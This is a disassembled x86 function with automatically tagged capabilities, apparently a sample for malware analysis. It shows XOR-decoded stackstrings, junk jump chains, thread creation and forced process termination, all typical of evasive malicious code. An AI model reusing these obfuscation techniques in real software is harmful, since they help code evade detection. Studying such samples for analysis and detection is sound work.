Function at 0x10002550
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005d50
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x7ac
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
jmp 0x100025aa
jmp 0x100025bc
jmp 0x100025ce
jmp 0x100025e0
jmp 0x100025f2
jmp 0x10002604
jmp 0x10002616
jmp 0x10002628
jmp 0x1000263a
jmp 0x1000264c
jmp 0x1000265e
jmp 0x10002670
jmp 0x10002682
jmp 0x10002694
jmp 0x100026a6
jmp 0x100026b8
jmp 0x100026ca
jmp 0x100026dc
jmp 0x100026ee
jmp 0x10002700
call fcn.10001d90
movaps xmm0, xmmword [0x10006320]
xor ecx, ecx
movups xmmword [ebp - 0x688], xmm0
mov dword [ebp - 0x648], 0x1f242937
movaps xmm0, xmmword [str.m___4:n__o_f]
movups xmmword [ebp - 0x678], xmm0
mov dword [ebp - 0x644], 0x33657d71
movaps xmm0, xmmword [0x10006820]
movups xmmword [ebp - 0x668], xmm0
mov byte [ebp - 0x640], 0
movaps xmm0, xmmword [0x10006360]
movups xmmword [ebp - 0x658], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x688]
xor byte [ebp + ecx - 0x687], al
inc ecx
cmp ecx, 0x47
jb 0x10002760
movups xmm0, xmmword [ebx + 8]
sub esp, 0x18
mov byte [ebp - 0x640], 0
mov eax, esp
movups xmmword [eax], xmm0
movq xmm0, qword [ebx + 0x18]
movq qword [eax + 0x10], xmm0
lea eax, [ebp - 0x687]
push eax
lea eax, [ebp - 0x430]
push eax
call fcn.10004f40
push 0xff
lea edx, [ebp - 0x228]
lea ecx, [ebp - 0x430]
call fcn.10002180
add esp, 0x24
xor ecx, ecx
test eax, eax
je 0x10002cf8
mov dl, 0x65
mov dword [ebp - 0x558], 0xc0d3265
mov dword [ebp - 0x554], 0xc090011
mov dword [ebp - 0x550], 0x1001116
mov byte [ebp - 0x54c], cl
nop dword [eax]
lea eax, [ebp - 0x557]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x10002807
mov dl, byte [ebp - 0x558]
jmp 0x100027f0
mov byte [ebp - 0x54c], 0
lea ecx, [ebp - 0x557]
lea eax, [ebp - 0x228]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002840
test dl, dl
je 0x1000283c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002840
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002820
xor eax, eax
jmp 0x10002845
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
jne 0x100028b5
movaps xmm0, xmmword [0x100063e0]
movups xmmword [ebp - 0x638], xmm0
mov word [ebp - 0x618], 0x5269
movaps xmm0, xmmword [0x100067b0]
movups xmmword [ebp - 0x628], xmm0
mov byte [ebp - 0x616], al
nop word [eax + eax]
mov al, byte [ebp - 0x638]
xor byte [ebp + ecx - 0x637], al
inc ecx
cmp ecx, 0x21
jb 0x10002880
lea eax, [ebp - 0x228]
mov byte [ebp - 0x616], 0
push eax
lea eax, [ebp - 0x637]
push eax
call fcn.10001040
add esp, 8
jmp 0x10002e19
movaps xmm0, xmmword [0x10006550]
movups xmmword [ebp - 0x6d8], xmm0
mov dword [ebp - 0x698], 0x764d405e
movaps xmm0, xmmword [0x10006740]
movups xmmword [ebp - 0x6c8], xmm0
mov dword [ebp - 0x694], 0x5a0c1418
movaps xmm0, xmmword [0x100062b0]
movups xmmword [ebp - 0x6b8], xmm0
mov byte [ebp - 0x690], 0
movaps xmm0, xmmword [0x100064c0]
movups xmmword [ebp - 0x6a8], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x6d8]
xor byte [ebp + ecx - 0x6d7], al
inc ecx
cmp ecx, 0x47
jb 0x10002910
movups xmm0, xmmword [ebx + 8]
sub esp, 0x18
mov byte [ebp - 0x690], 0
mov eax, esp
movups xmmword [eax], xmm0
movq xmm0, qword [ebx + 0x18]
movq qword [eax + 0x10], xmm0
lea eax, [ebp - 0x6d7]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.10004f40
push 0xff
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x538]
call fcn.10002180
add esp, 0x24
test eax, eax
je 0x10002e19
mov dl, 1
mov dword [ebp - 0x568], 0x68695601
mov dword [ebp - 0x564], 0x686d6475
xor ecx, ecx
mov dword [ebp - 0x560], 0x65647572
mov byte [ebp - 0x55c], 0
nop dword [eax]
lea eax, [ebp - 0x567]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x100029b7
mov dl, byte [ebp - 0x568]
jmp 0x100029a0
mov byte [ebp - 0x55c], 0
lea ecx, [ebp - 0x567]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100029f0
test dl, dl
je 0x100029ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100029f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100029d0
xor eax, eax
jmp 0x100029f5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10002a57
movaps xmm0, xmmword [0x10006620]
xor ecx, ecx
movups xmmword [ebp - 0x5fc], xmm0
mov dword [ebp - 0x5ec], 0x1c19034a
mov word [ebp - 0x5e8], 0x334a
mov byte [ebp - 0x5e6], al
mov al, byte [ebp - 0x5fc]
xor byte [ebp + ecx - 0x5fb], al
inc ecx
cmp ecx, 0x15
jb 0x10002a22
lea eax, [ebp - 0x120]
mov byte [ebp - 0x5e6], 0
push eax
lea eax, [ebp - 0x5fb]
push eax
call fcn.10001040
add esp, 8
jmp 0x10002e19
push 0
push 0
push 0
push 0x10001280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
movaps xmm0, xmmword [0x10006590]
xor ecx, ecx
movups xmmword [ebp - 0x7b8], xmm0
mov dword [ebp - 0x6e8], 0x44425f4a
movaps xmm0, xmmword [0x100066d0]
movups xmmword [ebp - 0x7a8], xmm0
mov dword [ebp - 0x6e4], 0xe210545
movaps xmm0, xmmword [0x10006530]
movups xmmword [ebp - 0x798], xmm0
mov word [ebp - 0x6e0], 0x58
movaps xmm0, xmmword [0x100064d0]
movups xmmword [ebp - 0x788], xmm0
movaps xmm0, xmmword [0x10006690]
movups xmmword [ebp - 0x778], xmm0
movaps xmm0, xmmword [0x10006540]
movups xmmword [ebp - 0x768], xmm0
movaps xmm0, xmmword [0x100065a0]
movups xmmword [ebp - 0x758], xmm0
movaps xmm0, xmmword [0x10006500]
movups xmmword [ebp - 0x748], xmm0
movaps xmm0, xmmword [0x100064f0]
movups xmmword [ebp - 0x738], xmm0
movaps xmm0, xmmword [0x100067d0]
movups xmmword [ebp - 0x728], xmm0
movaps xmm0, xmmword [0x10006610]
movups xmmword [ebp - 0x718], xmm0
movaps xmm0, xmmword [0x10006670]
movups xmmword [ebp - 0x708], xmm0
movaps xmm0, xmmword [0x10006510]
movups xmmword [ebp - 0x6f8], xmm0
mov al, byte [ebp - 0x7b8]
xor byte [ebp + ecx - 0x7b7], al
inc ecx
cmp ecx, 0xd8
jb 0x10002b41
movaps xmm0, xmmword [0x100067e0]
xor ecx, ecx
mov byte [ebp - 0x6df], 0
movups xmmword [ebp - 0x614], xmm0
mov dword [ebp - 0x604], 0x6c7b686c
mov byte [ebp - 0x600], 0
nop
mov al, byte [ebp - 0x614]
xor byte [ebp + ecx - 0x613], al
inc ecx
cmp ecx, 0x13
jb 0x10002b80
mov byte [ebp - 0x548], 0x4c
mov al, 0x16
xor al, byte [ebp - 0x548]
mov cl, 0xe
xor cl, byte [ebp - 0x548]
mov ah, 0x22
mov byte [ebp - 0x547], al
mov ch, 0x38
mov byte [ebp - 0x546], cl
mov dl, 0xd
mov cl, byte [ebp - 0x548]
mov dh, 0x25
mov byte [ebp - 0x539], 0xf
xor ah, cl
mov al, byte [ebp - 0x539]
xor ch, cl
xor al, cl
mov byte [ebp - 0x53a], 0x23
mov byte [ebp - 0x541], al
xor dl, cl
mov al, byte [ebp - 0x53a]
xor dh, cl
xor al, cl
mov byte [ebp - 0x53b], 0x28
mov byte [ebp - 0x540], al
mov al, byte [ebp - 0x53b]
xor al, cl
mov byte [ebp - 0x53c], 0x29
mov byte [ebp - 0x53f], al
mov al, byte [ebp - 0x53c]
xor al, cl
mov byte [ebp - 0x544], ah
mov byte [ebp - 0x53e], al
lea eax, [ebp - 0x613]
push eax
lea eax, [ebp - 0x120]
mov byte [ebp - 0x543], ch
mov byte [ebp - 0x53d], 0
lea ecx, [ebp - 0x228]
push eax
mov byte [ebp - 0x600], 0
mov byte [ebp - 0x545], dl
mov byte [ebp - 0x542], dh
mov byte [ebp - 0x53d], 0
call fcn.100015e0
push eax
lea eax, [ebp - 0x547]
push eax
lea eax, [ebp - 0x7b7]
push eax
lea eax, [ebp - 0x328]
push eax
call fcn.100010f0
movaps xmm0, xmmword [0x100064e0]
add esp, 0x18
movups xmmword [ebp - 0x5e4], xmm0
mov dword [ebp - 0x5d4], 0x73115c54
xor ecx, ecx
mov dword [ebp - 0x5d0], 0x545f5f50
mov word [ebp - 0x5cc], 0x55
mov al, byte [ebp - 0x5e4]
xor byte [ebp + ecx - 0x5e3], al
inc ecx
cmp ecx, 0x18
jb 0x10002cb1
push 0
lea edx, [ebp - 0x5e3]
mov byte [ebp - 0x5cb], 0
lea ecx, [ebp - 0x328]
call fcn.100012b0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100063a0]
movups xmmword [ebp - 0x588], xmm0
mov dword [ebp - 0x578], 0x24326126
mov dword [ebp - 0x574], 0x33243733
mov dword [ebp - 0x570], 0x4b70617b
mov byte [ebp - 0x56c], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x588]
xor byte [ebp + ecx - 0x587], al
inc ecx
cmp ecx, 0x1b
jb 0x10002d30
lea eax, [ebp - 0x587]
mov byte [ebp - 0x56c], 0
push eax
call fcn.10001040
movaps xmm0, xmmword [0x100062d0]
add esp, 4
movups xmmword [ebp - 0x5a8], xmm0
mov dword [ebp - 0x598], 0x11075413
xor ecx, ecx
mov dword [ebp - 0x594], 0x6110206
mov dword [ebp - 0x590], 0x7e46544e
mov byte [ebp - 0x58c], 0
nop
mov al, byte [ebp - 0x5a8]
xor byte [ebp + ecx - 0x5a7], al
inc ecx
cmp ecx, 0x1b
jb 0x10002d90
lea eax, [ebp - 0x5a7]
mov byte [ebp - 0x58c], 0
push eax
call fcn.10001040
movaps xmm0, xmmword [0x10006560]
add esp, 4
movups xmmword [ebp - 0x5c8], xmm0
mov dword [ebp - 0x5b8], 0x43550641
xor ecx, ecx
mov dword [ebp - 0x5b4], 0x54435054
mov dword [ebp - 0x5b0], 0x2c15061c
mov byte [ebp - 0x5ac], 0
nop
mov al, byte [ebp - 0x5c8]
xor byte [ebp + ecx - 0x5c7], al
inc ecx
cmp ecx, 0x1b
jb 0x10002df0
lea eax, [ebp - 0x5c7]
mov byte [ebp - 0x5ac], 0
push eax
call fcn.10001040
add esp, 4
jmp 0x10002e2b
jmp 0x10002e3d
jmp 0x10002e4f
jmp 0x10002e61
jmp 0x10002e73
jmp 0x10002e85
jmp 0x10002e97
jmp 0x10002ea9
jmp 0x10002ebb
jmp 0x10002ecd
jmp 0x10002edf
jmp 0x10002ef1
jmp 0x10002f03
jmp 0x10002f15
jmp 0x10002f27
jmp 0x10002f39
jmp 0x10002f4b
jmp 0x10002f5d
jmp 0x10002f6f
lea ecx, [ebx + 8]
call fcn.10004de0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10004f58
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret